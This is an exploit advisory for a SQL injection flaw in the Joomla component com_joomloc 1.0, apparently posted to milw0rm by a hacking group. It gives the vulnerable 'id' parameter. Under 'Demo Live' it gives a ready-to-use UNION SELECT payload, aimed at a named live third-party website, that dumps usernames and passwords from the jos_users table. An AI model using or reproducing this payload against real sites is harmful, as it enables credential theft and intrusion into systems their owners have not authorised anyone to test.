36 lines
No EOL
1.4 KiB
Text
36 lines
No EOL
1.4 KiB
Text
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
Joomla Component com_joomloc (id) SQL-injection Vulnerability
|
|
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
|
###################################################
|
|
[+] Author : Chip D3 Bi0s
|
|
[+] Email : chipdebios[alt+64]gmail.com
|
|
[+] Group : LatinHackTeam
|
|
[+] Vulnerability : SQL injection
|
|
|
|
###################################################
|
|
|
|
Info component:
|
|
|
|
Name : Joomloc
|
|
Version : 1.0
|
|
Compatibility : 1.5 Native
|
|
License : GPL Type : Comercial
|
|
Date Added : 5 September 2009
|
|
Demo : http://www.joomloc.fr.nf
|
|
|
|
more info : http://extensions.joomla.org/extensions/vertical-markets/booking-a-reservation/9208
|
|
###################################################
|
|
|
|
Example:
|
|
http://localhost/path/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1[SQL code]
|
|
|
|
Demo Live:
|
|
http://www.holiday-location.com/index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
#[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
|
|
# milw0rm.com [2009-09-09] |